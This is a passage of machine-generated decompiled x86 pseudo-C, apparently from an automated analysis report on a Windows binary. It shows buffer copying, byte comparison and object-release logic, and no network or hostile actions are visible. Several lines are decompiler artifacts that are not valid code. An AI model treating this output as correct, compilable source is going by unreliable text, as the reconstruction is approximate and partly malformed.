																										__edx =  *(__ecx + 0x2c);
																									} while (__eflags < 0);
																									if(__eflags > 0) {
																										goto L225;
																									}
																									__eflags =  *(__ebp - 0x44) - __edx;
																								} while ( *(__ebp - 0x44) < __edx);
																								L225:
																								__ecx =  *(__ecx + 0x30);
																								__edx =  *(__ebp - 0x104);
																								__eax =  *(__ecx + __eax * 4);
																								__ecx =  *(__eax + 4);
																								__edx =  *(__ebp - 0x104) + __ecx;
																								__eflags = __edx -  *(__ebp - 0xf0);
																							} while (__edx >  *(__ebp - 0xf0));
																							__eax =  *__eax;
																							__eflags = __ecx - __ebx;
																							 *(__ebp - 0x20) = __ebx;
																							if(__ecx <= __ebx) {
																								L230:
																								__edi =  *(__ebp - 0x34);
																								 *(__ebp - 0xd) = __bl;
																								goto L231;
																							}
																							__edx =  *(__ebp - 0x90);
																							__edi = __eax;
																							__edx =  *(__ebp - 0x90) - __eax;
																							__eflags = __edx;
																							while(1) {
																								__al =  *((intOrPtr*)(__edx + __edi));
																								__eflags = __al -  *__edi;
																								if(__al !=  *__edi) {
																									goto L216;
																								}
																								 *(__ebp - 0x20) =  *(__ebp - 0x20) + 1;
																								__edi = __edi + 1;
																								__eflags =  *(__ebp - 0x20) - __ecx;
																								if( *(__ebp - 0x20) < __ecx) {
																									continue;
																								}
																								goto L230;
																							}
																							continue;
																						}
																						__eflags =  *(__eax + 0x14) & 0x00000001;
																						if(( *(__eax + 0x14) & 0x00000001) != 0) {
																							goto L280;
																						}
																						__eflags =  *((intOrPtr*)(__eax + 0xb8)) - __bl;
																						if( *((intOrPtr*)(__eax + 0xb8)) == __bl) {
																							goto L280;
																						}
																						__ecx =  *(__eax + 0xb0);
																						__eflags = __ecx;
																						if(__eflags != 0) {
																							goto L283;
																						}
																						goto L280;
																					}
																					__eflags =  *((intOrPtr*)(__ebp - 0xc8)) - __ebx;
																					if( *((intOrPtr*)(__ebp - 0xc8)) >= __ebx) {
																						goto L280;
																					}
																					__eax =  *(__ebp - 0x54);
																					__eax =  *(__ebp - 0x54) + 0x10;
																					__eflags =  *((intOrPtr*)(__eax + 3)) - __bl;
																					if( *((intOrPtr*)(__eax + 3)) == __bl) {
																						goto L280;
																					}
																					__eflags =  *(__eax + 4) & 0x00000001;
																					if(( *(__eax + 4) & 0x00000001) == 0) {
																						__ecx =  *(__ebp - 0x54);
																						__edx =  *(__ebp - 0x34);
																						 *(__ecx + 0x1c) =  *(__ebp - 0x34);
																						__eax = E01251C2F(__ecx, __eax);
																						__eax =  *(__ebp - 0x64);
																						 *((char*)(__ebp - 4)) = 0x16;
																						__eflags = __eax - __ebx;
																						if(__eax != __ebx) {
																							__ecx =  *__eax;
																							__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
																						}
																						__eax =  *(__ebp - 0x5c);
																						 *((char*)(__ebp - 4)) = 0x15;
																						__eflags = __eax - __ebx;
																						if(__eax != __ebx) {
																							__ecx =  *__eax;
																							__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
																						}
																						__eax =  *(__ebp - 0x68);
																						 *((char*)(__ebp - 4)) = 0x14;
																						__eflags = __eax - __ebx;
																						if(__eax != __ebx) {
																							__ecx =  *__eax;
																							__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
																						}
																						__eax = E01231ABD(__eax,  *(__ebp - 0x50));
																						__eax = E01231ABD(__eax,  *(__ebp - 0x7c));
																						__eax = E01231ABD(__eax,  *(__ebp - 0x14));
																						__eax = E01231ABD(__eax,  *(__ebp - 0xd4));
																						L415:
																						__eax =  *(__ebp - 0x1c);
																						 *((char*)(__ebp - 4)) = 0xa;
																						__eflags = __eax - __ebx;
																						if(__eax != __ebx) {
																							__ecx =  *__eax;
																							__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
																						}
																						__eax =  *(__ebp - 0x24);
																						 *((char*)(__ebp - 4)) = 6;
																						__eflags = __eax - __ebx;
																						if(__eax != __ebx) {
																							__ecx =  *__eax;
																							__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
																						}
																						__esi = 1;
																						goto L463;
																					}
																					goto L280;
																				}
																			}
																		}
																		__eax =  *(__ebp - 0x94);
																		__eflags =  *(__ebp - 0x94) -  *(__ebp - 0x6c);
																		if(__eflags < 0) {
																			goto L249;
																		}
																		if(__eflags > 0) {
																			L245:
																			__eax = __edi;
																			__eax = __edi -  *(__ebp - 0x70);
																			__eflags = __eax -  *(__ebp - 0x2c);
																			if(__eax >=  *(__ebp - 0x2c)) {
																				goto L249;
																			}
																			goto L246;
																		}
																		__eflags = __edi -  *(__ebp - 0x70);
																		if(__edi <  *(__ebp - 0x70)) {
																			goto L249;
																		}
																		goto L245;
																	}
																	__eax =  *(__ecx + 0x2c);
																	__eflags = __edx - __ebx;
																}
																__eflags = 0 -  *(__ebp - 0x40);
																if(0 !=  *(__ebp - 0x40)) {
																	goto L236;
																}
																goto L235;
															}
															 *(__ebp - 0x44) =  *(__ebp - 0x44) |  *(__ebp - 0x40);
															__eflags =  *(__ebp - 0x44) |  *(__ebp - 0x40);
															if(( *(__ebp - 0x44) |  *(__ebp - 0x40)) == 0) {
																goto L235;
															}
															goto L233;
															L219:
															__eax =  *(__ebp - 0x4c);
															__eflags = __eax - 0xff;
															if(__eax == 0xff) {
																 *(__ebp - 0x44) =  *(__ebp - 0x44) + 1;
																asm("adc [ebp-0x40], ebx");
																goto L364;
															}
															__ecx =  *(__ebp - 0xe0);
															__edx =  *(__ebp - 0xd4);
															__edi =  *( *(__ebp - 0xe0) + __eax * 4);
															__ecx = __edi;
															 *(__ebp - 0x34) = __edi;
															__ecx = __edi << 2;
															__eax = __eax -  *((intOrPtr*)(__ecx +  *(__ebp - 0xd4)));
															__edx =  *(__ebp - 0x4c);
															__eflags =  *(__ebp - 0xf) - __bl;
															__edx =  *(__ebp +  *(__ebp - 0x4c) - 0x2cc) & 0x000000ff;
															 *(__ebp - 0x4c) =  *(__ebp +  *(__ebp - 0x4c) - 0x2cc) & 0x000000ff;
															if( *(__ebp - 0xf) == __bl) {
																goto L222;
															}
															goto L221;
														}
													}
												}
												if(__eflags < 0) {
													L178:
													__esi = __esi - __edx;
													__eflags = __esi;
													asm("sbb eax, ecx");
													__ecx = __esi;
													 *(__ebp - 0xb0) = __eax;
													if(__esi != 0) {
														L181:
														__edi =  *(__ebp - 0x44);
														__eax =  *(__ebp - 0x40);
														__edi =  *(__ebp - 0x44) - 0x10000;
														 *(__ebp - 0x2c) = __ebx;
														 *(__ebp - 0x70) = __edi;
														asm("sbb eax, ebx");
														L182:
														 *(__ebp - 0x6c) = __eax;
														continue;
													}
													__eflags = __ecx - 0x10000;
													if(__ecx > 0x10000) {
														goto L181;
													}
													__eax =  *(__ebp - 0x28);
													__esi = 0x10000;
													__eax =  *(__ebp - 0x28) + 0x3c;
													__esi = 0x10000 - __ecx;
													__eax =  *( *(__ebp - 0x28) + 0x3c);
													__eax = __eax - 0x10000;
													__ecx = __eax - 0x10000 +  *(__ebp - 0x2c);
													__eax = memmove(__eax, __eax - 0x10000 +  *(__ebp - 0x2c), 0x10000);
													__edi =  *(__ebp - 0x44);
													__eax =  *(__ebp - 0x40);
													__esp = __esp + 0xc;
													__ecx = 0;
													__edi =  *(__ebp - 0x44) - 0x10000;
													 *(__ebp - 0x2c) = __esi;
													 *(__ebp - 0x70) = __edi;
													asm("sbb eax, ecx");
													goto L182;
												}
												__eflags = __edx - __esi;
												if(__edx >= __esi) {
													goto L183;
												}
												goto L178;
											}
											__ecx = 0x400000;
											__eax = __edx;
											__edx =  *(__ebp - 0x30);
											__ecx = 0x400000 - __eax;
											 *(__ebp - 0x120) = 0x400000 - __eax;
											__edx =  *( *(__ebp - 0x30));
											__eax = __eax + __edi;
											__ecx = 0;
											 *(__ebp - 0x1ac) = __eax;
											asm("adc ecx, [ebp-0x6c]");
											__esi =  *__edx;
											 *(__ebp - 0x1a8) = __ecx;
											__esi =  *((intOrPtr*)( *__edx + 0x10))(__edx, __eax, 0x400000, __ebx, __ebx);
											__eflags = __esi - __ebx;
											if(__esi != __ebx) {
												goto L434;
											}
											__esi =  *(__ebp - 0x28);
											__ebp - 0x120 =  *(__ebp - 0x2c);
											__esi + 0x3c =  *(__esi + 0x3c);
											__edx =  *(__ebp - 0x2c) +  *(__esi + 0x3c);
											__eax =  *(__ebp - 0x30);
											__ecx =  *( *(__ebp - 0x30));
											__eax = E0123AF2F( *( *(__ebp - 0x30)), __edx, __ebp - 0x120);
											__eflags = __eax - __ebx;
											 *(__ebp - 0xf0) = __eax;
											if(__eax != __ebx) {
												__eax =  *(__ebp - 0x5c);
												 *((char*)(__ebp - 4)) = 0x15;
												__eflags = __eax - __ebx;
												if(__eax != __ebx) {
													__ecx =  *__eax;
													__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
												}
												__eax =  *(__ebp - 0x68);
												 *((char*)(__ebp - 4)) = 0x14;
												__eflags = __eax - __ebx;
												if(__eax != __ebx) {
													__ecx =  *__eax;
													__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
												}
												__eax = E01231ABD(__eax,  *(__ebp - 0x50));
												__eax = E01231ABD(__eax,  *(__ebp - 0x7c));
												__eax = E01231ABD(__eax,  *(__ebp - 0x14));
												__eax = E01231ABD(__eax,  *(__ebp - 0xd4));
												__eax =  *(__ebp - 0x1c);
												__eflags = __eax - __ebx;
												 *((char*)(__ebp - 4)) = 0xa;
												if(__eax != __ebx) {
													__ecx =  *__eax;
													__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
												}
												__eax =  *(__ebp - 0x24);
												 *((char*)(__ebp - 4)) = 6;
												__eflags = __eax - __ebx;
												if(__eax != __ebx) {
													__ecx =  *__eax;
													__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
												}
												__esi =  *(__ebp - 0xf0);
												goto L463;
											}
											__eax =  *(__ebp - 0x120);
											__eflags = __eax - __ebx;
											if(__eax != __ebx) {
												__ecx =  *(__esi + 0x3c);
												 *(__ebp - 0x2c) = __eax +  *(__ebp - 0x2c);
												 *(__esi + 0x30) =  *(__esi + 0x3c);
												 *(__esi + 0x34) = __eax;
												 *(__esi + 0x38) = __edi;
											} else {
												__eax =  *(__ebp - 0x1ac);
												 *(__ebp - 0x15) = 1;
												 *(__ebp - 0xa0) =  *(__ebp - 0x1ac);
												__eax =  *(__ebp - 0x1a8);
												 *(__ebp - 0x9c) =  *(__ebp - 0x1a8);
											}
											continue;
											L186:
											__eflags =  *(__ebp - 0x2c) - __esi;
											if( *(__ebp - 0x2c) <= __esi) {
												L387:
												__eax =  *(__ebp - 0x48);
												__eflags =  *((intOrPtr*)(__eax + 0x12)) - __bl;
												if( *((intOrPtr*)(__eax + 0x12)) == __bl) {
													L393:
													__ecx = __ebp - 0x5c;
													 *((char*)(__ebp - 4)) = 0x15;
													__eax = E01239116(__ebp - 0x5c);
													__ecx = __ebp - 0x68;
													 *((char*)(__ebp - 4)) = 0x14;
													__eax = E01239116(__ebp - 0x68);
													__ecx = __ebp - 0x50;
													 *((char*)(__ebp - 4)) = 0x13;
													__eax = E0123616E(__ebp - 0x50);
													__ecx = __ebp - 0x7c;
													 *((char*)(__ebp - 4)) = 0x12;
													__eax = E0123616E(__ebp - 0x7c);
													__ecx = __ebp - 0x14;
													 *((char*)(__ebp - 4)) = 0x11;
													__eax = E0123616E(__ebp - 0x14);
													__ecx =  *(__ebp - 0x54);
													__eax = E01252F7B( *(__ebp - 0x54));
													__eflags = __al;
													if(__al != 0) {
														__ebx = 1;
													}
													goto L395;
												}
												__esi =  *(__ebp - 0x80);
												__edi = __esi + 0xc;
												__ecx = __edi;
												__eax = E01252FF2(__edi);
												_push( *(__ebp - 0x9c));
												__eax =  ~__eax;
												_push( *(__ebp - 0xa0));
												__ecx = __esi;
												asm("sbb al, al");
												__al = __al + 1;
												 *(__ebp + 0xb) = __al;
												__eax = E0124CDD1(__esi);
												__ecx = __edi;
												__eax = E01252FF2(__edi);
												__eflags = __eax;
												if(__eax != 0) {
													__eflags =  *(__ebp + 0xb) - __bl;
													if( *(__ebp + 0xb) != __bl) {
														L392:
														__eax =  *(__ebp - 0x30);
														__ecx = __esi + 0x20;
														__eax = E01240E48(__esi + 0x20,  *( *(__ebp - 0x30)));
														__esi =  *(__ebp - 0x54);
														__eax = __ebp - 0x24;
														__ecx = __esi;
														__eax = E01252F6D(__ebp - 0x24);
														__ecx = __esi + 0x10;
														__eax = E0124E3E3(__esi + 0x10);
														 *((char*)(__esi + 0xd8)) = 1;
														 *(__esi + 0x94) =  *(__esi + 0x94) | 0xffffffff;
														 *(__esi + 0xa8) = __ebx;
														 *(__esi + 0xac) = __ebx;
														goto L450;
													}
													__ecx = __edi;
													__eax = E01252FF2(__edi);
													__eflags = __eax - 1;
													if(__eax == 1) {
														goto L393;
													}
													goto L392;
												}
												__ebx = 1;
												goto L450;
											}
											__eflags =  *(__ebp - 0x5c) - __ebx;
											 *(__ebp - 0xe) = __bl;
											if( *(__ebp - 0x5c) == __ebx) {
												L196:
												__eax =  *(__ebp - 0x2c);
												__ecx = 0;
												__eax =  *(__ebp - 0x2c) + __edi;
												asm("adc ecx, [ebp-0x6c]");
												 *(__ebp - 0x1cc) = __eax;
												__eflags =  *(__ebp - 0x9c);
												if(__eflags > 0) {
													L200:
													__ecx =  *(__ebp - 0x2c);
													__ecx =  *(__ebp - 0x2c) - __esi;
													__eflags = __ecx - 2;
													 *(__ebp - 0xf0) = __ecx;
													if(__ecx < 2) {
														goto L387;
													}
													__eax = 0x100000;
													__eflags = __ecx - 0x100000;
													asm("sbb edx, edx");
													__edx = __edx & 0xfff00002;
													__edx = 0x100000 + __edx;
													__eax =  *(__ebp - 0x48);
													__ecx = __ecx - __edx;
													__eflags =  *((intOrPtr*)(__eax + 0x12)) - __bl;
													if( *((intOrPtr*)(__eax + 0x12)) != __bl) {
														L209:
														__eax =  *(__ebp - 0x28);
														__ecx = __ecx + 1;
														__eax =  *(__ebp - 0x28) + 0x3c;
														 *(__ebp - 0x104) = __ebx;
														__eax =  *( *(__ebp - 0x28) + 0x3c);
														 *(__ebp - 0x108) = __eax;
														__eax = __eax + __esi;
														__ecx = __eax + __ecx;
														__eflags =  *(__ebp - 0xf) - __bl;
														 *(__ebp - 0x90) = __eax;
														 *(__ebp - 0x4c) = __ecx;
														if( *(__ebp - 0xf) != __bl) {
															goto L214;
														}
														__eflags = __eax - __ecx;
														if(__eax >= __ecx) {
															goto L213;
														} else {
															goto L211;
														}
														while(1) {
															L211:
															__ecx =  *__eax & 0x0000ffff;
															__edx =  *(__ebp - 0xac);
															__eflags =  *(__ecx + __edx) - 0xff;
															if( *(__ecx + __edx) != 0xff) {
																goto L213;
															}
															__eax = __eax + 1;
															__eflags = __eax -  *(__ebp - 0x4c);
															 *(__ebp - 0x90) = __eax;
															if(__eax <  *(__ebp - 0x4c)) {
																continue;
															}
															goto L213;
														}
														goto L213;
													}
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x40) -  *(__ebp - 0xfc);
													if(__eflags > 0) {
														goto L387;
													}
													if(__eflags < 0) {
														L205:
														 *(__ebp - 0x100) =  *(__ebp - 0x100) -  *(__ebp - 0x44);
														 *(__ebp - 0x1bc) =  *(__ebp - 0x100) -  *(__ebp - 0x44);
														__eax =  *(__ebp - 0xfc);
														asm("sbb eax, [ebp-0x40]");
														__eflags = __ebx -  *(__ebp - 0xfc);
														if(__eflags < 0) {
															goto L209;
														}
														if(__eflags > 0) {
															L208:
															__ecx =  *(__ebp - 0x1bc);
															goto L209;
														}
														__eflags = __ecx -  *(__ebp - 0x1bc);
														if(__ecx <=  *(__ebp - 0x1bc)) {
															goto L209;
														}
														goto L208;
													}
													__eax =  *(__ebp - 0x44);
													__eflags =  *(__ebp - 0x44) -  *(__ebp - 0x100);
													if( *(__ebp - 0x44) >  *(__ebp - 0x100)) {
														goto L387;
													}
													goto L205;
												}
												if(__eflags < 0) {
													L199:
													__eax =  *(__ebp - 0x54);
													__edx =  *(__ebp - 0xa0);
													__eax =  *(__ebp - 0x54) + 0xc0;
													__eflags = __eax;
													 *__eax =  *(__ebp - 0xa0);
													__edx =  *(__ebp - 0x9c);
													 *(__eax + 4) = __edx;
													__eax =  *(__ebp - 0x1cc);
													 *(__ebp - 0xa0) =  *(__ebp - 0x1cc);
													 *(__ebp - 0x9c) = __ecx;
													goto L200;
												}
												__eflags =  *(__ebp - 0xa0) - __eax;
												if( *(__ebp - 0xa0) >= __eax) {
													goto L200;
												}
												goto L199;
											}
											__eax =  *(__ebp - 0x80);
											__edx =  *(__ebp - 0xa8);
											__eax =  *(__ebp - 0x80) + 0x10;
											__ecx =  *__eax;
											 *(__edx + 0x18) =  *__eax;
											__ecx =  *(__ebp - 0x44);
											 *(__edx + 0x1c) = __ebx;
											 *(__edx + 0x20) =  *(__ebp - 0x44);
											__ecx =  *(__ebp - 0xa8);
											__edx =  *(__ebp - 0x40);
											 *( *(__ebp - 0xa8) + 0x24) = __edx;
											__ecx =  *(__ebp + 8);
											__eflags =  *((intOrPtr*)(__ecx + 0x19)) - __bl;
											if( *((intOrPtr*)(__ecx + 0x19)) == __bl) {
												L190:
												 *(__ebp - 0xe) = 1;
												L191:
												__ecx =  *(__ebp - 0xf8);
												__eax =  *(__ebp - 0xf4);
												__ecx =  *(__ebp - 0xf8) + 0x800000;
												asm("adc eax, ebx");
												__eflags = __edx -  *(__ebp - 0xf4);
												if(__eflags < 0) {
													goto L196;
												}
												if(__eflags > 0) {
													L194:
													__eax =  *(__ebp - 0xa8);
													__ecx =  *__eax;
													__eax =  *((intOrPtr*)( *__eax + 0x10))(__eax, __ebx, __ebx);
													__eflags = __eax - __ebx;
													 *(__ebp - 0xf0) = __eax;
													if(__eax != __ebx) {
														__eax =  *(__ebp - 0x5c);
														 *((char*)(__ebp - 4)) = 0x15;
														__eflags = __eax - __ebx;
														if(__eax != __ebx) {
															__ecx =  *__eax;
															__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
														}
														__eax =  *(__ebp - 0x68);
														 *((char*)(__ebp - 4)) = 0x14;
														__eflags = __eax - __ebx;
														if(__eax != __ebx) {
															__ecx =  *__eax;
															__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
														}
														__eax = E01231ABD(__eax,  *(__ebp - 0x50));
														__eax = E01231ABD(__eax,  *(__ebp - 0x7c));
														__eax = E01231ABD(__eax,  *(__ebp - 0x14));
														__eax = E01231ABD(__eax,  *(__ebp - 0xd4));
														__eax =  *(__ebp - 0x1c);
														__eflags = __eax - __ebx;
														 *((char*)(__ebp - 4)) = 0xa;
														if(__eax != __ebx) {
															__ecx =  *__eax;
															__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
														}
														__eax =  *(__ebp - 0x24);
														 *((char*)(__ebp - 4)) = 6;
														__eflags = __eax - __ebx;
														if(__eax != __ebx) {
															__ecx =  *__eax;
															__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
														}
														__esi =  *(__ebp - 0xf0);
														goto L463;
													}
													__eax =  *(__ebp - 0x44);
													 *(__ebp - 0xf8) =  *(__ebp - 0x44);
													__eax =  *(__ebp - 0x40);
													 *(__ebp - 0xf4) =  *(__ebp - 0x40);
													goto L196;
												}
												__eflags =  *(__ebp - 0x44) - __ecx;
												if( *(__ebp - 0x44) < __ecx) {
													goto L196;
												}
												goto L194;
											}
											__eflags =  *__eax - 1;
											 *(__ebp - 0xe) = __bl;
											if( *__eax <= 1) {
												goto L191;
											}
											goto L190;
										}
									} else {
										__ecx =  *__eax;
										__edx = __ebp - 0xa0;
										_push(__edx);
										_push(__ebx);
										_push(__eax);
										__esi = __eax;
										__eflags = __esi - __ebx;
										if(__esi != __ebx) {
											L434:
											__eax =  *(__ebp - 0x5c);
											 *((char*)(__ebp - 4)) = 0x15;
											__eflags = __eax - __ebx;
											if(__eax != __ebx) {
												__ecx =  *__eax;
												__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
											}
											__eax =  *(__ebp - 0x68);
											 *((char*)(__ebp - 4)) = 0x14;
											__eflags = __eax - __ebx;
											if(__eax != __ebx) {
												__ecx =  *__eax;
												__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
											}
											goto L438;
										}
										goto L163;
									}
								} else {
									goto L137;
								}
								do {
									L137:
									__ecx =  *(__ebp - 0x8c);
									__edi =  *( *(__ebp - 0x8c) + __eax * 4);
									__eflags = __edi - __ebx;
									 *(__ebp - 0x4c) = __edi;
									if(__edi < __ebx) {
										goto L149;
									}
									__eax =  *(__ebp + 8);
									 *(__ebp - 0xd) = __bl;
									 *( *(__ebp + 8)) =  *( *( *(__ebp + 8)) + 0x28);
									__esi =  *( *( *( *(__ebp + 8)) + 0x28) + __edi * 4);
									__eflags =  *((intOrPtr*)(__esi + 0x29)) - __bl;
									if( *((intOrPtr*)(__esi + 0x29)) == __bl) {
										L148:
										__ecx = __ebp - 0x7c;
										E01231553(__ebp - 0x7c, __edi) =  *(__ebp - 0x50);
										 *((char*)(__edi +  *(__ebp - 0x50))) = 1;
										goto L149;
									}
									 *__esi =  *__esi >> 6;
									__eflags = __al & 0x00000001;
									if((__al & 0x00000001) != 0) {
										 *(__ebp - 0xd) = 1;
									}
									__edi = 0;
									__eflags =  *(__esi + 0x34) - __ebx;
									if( *(__esi + 0x34) <= __ebx) {
										L146:
										__eflags =  *(__ebp - 0xd) - __bl;
										if( *(__ebp - 0xd) == __bl) {
											goto L149;
										}
										__edi =  *(__ebp - 0x4c);
										goto L148;
									} else {
										do {
											__eax =  *(__esi + 0x30);
											__eax =  *( *(__esi + 0x30) + __edi * 4);
											__eflags =  *(__eax + 4) - 2;
											if( *(__eax + 4) >= 2) {
												__eax =  *__eax;
												__edx =  *(__ebp - 0x4c);
												__ecx =  *__eax & 0x0000ffff;
												 *(__ebp - 0xd4) =  *((intOrPtr*)( *(__ebp - 0xd4) +  *(__ebp - 0x4c) * 4));
												__edx =  *(__ebp - 0xac);
												__eax =  *((intOrPtr*)( *(__ebp - 0xd4) +  *(__ebp - 0x4c) * 4)) + __edi;
												__ecx = __ecx + __edx;
												__eflags = __ecx;
												__dl =  *__ecx;
												 *(__ebp +  *((intOrPtr*)( *(__ebp - 0xd4) +  *(__ebp - 0x4c) * 4)) + __edi - 0x2cc) = __dl;
												 *__ecx = __al;
											} else {
												 *(__ebp - 0xd) = 1;
											}
											__edi = __edi + 1;
											__eflags = __edi -  *(__esi + 0x34);
										} while (__edi <  *(__esi + 0x34));
										goto L146;
									}
									L149:
									__eax =  *(__ebp - 0x20);
									__eax =  *(__ebp - 0x20) + 1;
									__eflags = __eax -  *((intOrPtr*)(__ebp - 0x88));
									 *(__ebp - 0x20) = __eax;
								} while (__eax <  *((intOrPtr*)(__ebp - 0x88)));
								goto L150;
							}
							__eax = E01231ABD(__eax,  *(__ebp - 0x14));
							__eax = E01231ABD(__eax,  *(__ebp - 0xd4));
							goto L415;
						} else {
							goto L129;
						}
						do {
							L129:
							__ecx = __ebp - 0xd4;
							E01231553(__ebp - 0xd4,  *(__ebp - 0x20)) =  *(__ebp + 8);
							 *(__ebp - 0xb8) = __ebx;
							 *( *(__ebp + 8)) =  *( *( *(__ebp + 8)) + 0x28);
							__esi =  *( *( *( *(__ebp + 8)) + 0x28) + __edi * 4);
							__eax =  *(__esi + 0x34);
							 *(__ebp - 0x20) = __eax +  *(__ebp - 0x20);
							__eflags = __eax - __ebx;
							if(__eax <= __ebx) {
								goto L131;
							} else {
								goto L130;
							}
							do {
								L130:
								__ecx = __ebp - 0xe0;
								__eax = E01231553(__ebp - 0xe0, __edi);
								 *(__ebp - 0xb8) =  *(__ebp - 0xb8) + 1;
								__eax =  *(__ebp - 0xb8);
								__eflags =  *(__ebp - 0xb8) -  *(__esi + 0x34);
							} while ( *(__ebp - 0xb8) <  *(__esi + 0x34));
							L131:
							__eax =  *(__ebp + 8);
							__edi = __edi + 1;
							__eax =  *( *(__ebp + 8));
							__eflags = __edi -  *((intOrPtr*)(__eax + 0x2c));
						} while (__edi <  *((intOrPtr*)(__eax + 0x2c)));
						goto L132;
					} else {
						__eax =  *(__ebp - 0x54);
						__edi =  *(__ebp - 0x54) + 0x94;
						 *(__ebp - 0x28) = __edi;
						while(1) {
							__eax =  *(__ebp - 0x7c);
							__ecx =  *(__ebp - 0x2c);
							__esi =  *(__ebp + 8);
							__eax =  *( *(__ebp - 0x7c) +  *(__ebp - 0x2c) * 4);
							 *__edi = __eax;
							 *__esi =  *((intOrPtr*)( *__esi + 0x28));
							 *(__ebp - 0xac) = __eax;
							__eax =  *(__esi + 0x38);
							__eflags = __eax - __ebx;
							if(__eax == __ebx) {
								goto L42;
							}
							__ecx =  *__eax;
							__edx = __ebp - 0xa0;
							__eax =  *((intOrPtr*)( *__eax + 0xc))(__eax, __ebx, __ebp - 0xa0);
							__eflags = __eax - __ebx;
							 *(__ebp - 0x90) = __eax;
							if(__eax != __ebx) {
								__eax = E01231ABD(__eax,  *(__ebp - 0x70));
								__eax =  *(__ebp - 0x1c);
								__eflags = __eax - __ebx;
								 *((char*)(__ebp - 4)) = 0xa;
								if(__eax != __ebx) {
									__ecx =  *__eax;
									__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
								}
								__eax =  *(__ebp - 0x24);
								 *((char*)(__ebp - 4)) = 6;
								__eflags = __eax - __ebx;
								if(__eax != __ebx) {
									__ecx =  *__eax;
									__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
								}
								__ebx =  *(__ebp - 0x90);
								L6:
								E01231ABD(E01231ABD(E01231ABD(E01231ABD(E01231ABD(_t1078,  *((intOrPtr*)(_t1093 - 0x58))),  *((intOrPtr*)(_t1093 - 0x38))),  *((intOrPtr*)(_t1093 - 0x8c))),  *((intOrPtr*)(_t1093 - 0xc4))),  *((intOrPtr*)(_t1093 - 0xec)));
								L396:
								_t1084 = _t1086;
								L465:
								 *[fs:0x0] =  *((intOrPtr*)(_t1093 - 0xc));
								return _t1084;
							}
							L42:
							__eax =  *(__ebp - 0x30);
							__eax =  *( *(__ebp - 0x30));
							__ecx =  *__eax;
							__eax =  *((intOrPtr*)( *__eax + 0x10))(__eax, __ebx, __ebx, __ebx, __ebx);
							__eflags = __eax - __ebx;
							 *(__ebp - 0x90) = __eax;
							if(__eflags != 0) {
								__eax = E01231ABD(__eax,  *(__ebp - 0x70));
								__eax =  *(__ebp - 0x1c);
								__eflags = __eax - __ebx;
								 *((char*)(__ebp - 4)) = 0xa;
								if(__eax != __ebx) {
									__ecx =  *__eax;
									__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
								}
								__eax =  *(__ebp - 0x24);
								 *((char*)(__ebp - 4)) = 6;
								__eflags = __eax - __ebx;
								if(__eax != __ebx) {
									__ecx =  *__eax;
									__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
								}
								__ebx =  *(__ebp - 0x90);
								goto L6;
							}
							 *(__ebp - 0x14) = __ebx;
							__eax = __ebp - 0x14;
							 *((char*)(__ebp - 4)) = 0xe;
							_push(__ebp - 0x14);
							_push( *__edi);
							_push(__esi);
							__esi =  *(__ebp - 0x54);
							__ecx = __esi; // executed
							__eax = L0124E7E8(__eflags); // executed
							__edi = __eax;
							__eflags = __eax - __ebx;
							if(__eax != __ebx) {
								L96:
								__eax =  *(__ebp - 0x14);
								 *((char*)(__ebp - 4)) = 0xd;
								__eflags = __eax - __ebx;
								if(__eax != __ebx) {
									__ecx =  *__eax;
									__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
								}
								__eax = E01231ABD(__eax,  *(__ebp - 0x70));
								__eax =  *(__ebp - 0x1c);
								__eflags = __eax - __ebx;
								 *((char*)(__ebp - 4)) = 0xa;
								if(__eax != __ebx) {
									__ecx =  *__eax;
									__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
								}
								__eax =  *(__ebp - 0x24);
								 *((char*)(__ebp - 4)) = 6;
								if(_t1078 != _t1085) {
									_t1078 =  *((intOrPtr*)( *_t1078 + 8))(_t1078);
								}
								_t1086 = _t1090;
								goto L6;
							}
							__ecx =  *(__ebp - 0x14);
							__eflags = __ecx - __ebx;
							if(__ecx != __ebx) {
								__eax =  *(__ebp + 8);
								__edi =  *(__ebp - 0x48);
								 *(__ebp - 0x11c) = __ebx;
								 *(__ebp - 0x118) = __ebx;
								__eflags =  *((intOrPtr*)(__edi + 0x11)) - __bl;
								__ebp - 0x11c =  *(__ebp - 0x30);
								__edx = __edx & 0xffffff00 |  *((intOrPtr*)(__edi + 0x11)) == __bl;
								__eax = E01251B59(__ecx, __edx,  *( *(__ebp - 0x30)), __ebp - 0x11c,  *((intOrPtr*)( *(__ebp - 0x30) + 0x38)),  *(__ebp - 0x1c)); // executed
								__eflags = __eax - 1;
								 *(__ebp - 0x4c) = __eax;
								if(__eax != 1) {
									__eflags =  *(__ebp - 0x4c) - __ebx;
									if(__eflags != 0) {
										__eax =  *(__ebp - 0x14);
										 *((char*)(__ebp - 4)) = 0xd;
										__eflags = __eax - __ebx;
										if(__eax != __ebx) {
											__ecx =  *__eax;
											__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
										}
										__eax = E01231ABD(__eax,  *(__ebp - 0x70));
										__eax =  *(__ebp - 0x1c);
										__eflags = __eax - __ebx;
										 *((char*)(__ebp - 4)) = 0xa;
										if(__eax != __ebx) {
											__ecx =  *__eax;
											__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
										}
										__eax =  *(__ebp - 0x24);
										 *((char*)(__ebp - 4)) = 6;
										__eflags = __eax - __ebx;
										if(__eax != __ebx) {
											__ecx =  *__eax;
											__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
										}
										__ebx =  *(__ebp - 0x4c);
										goto L6;
									}
									_push(__ebx);
									_push(__ebx);
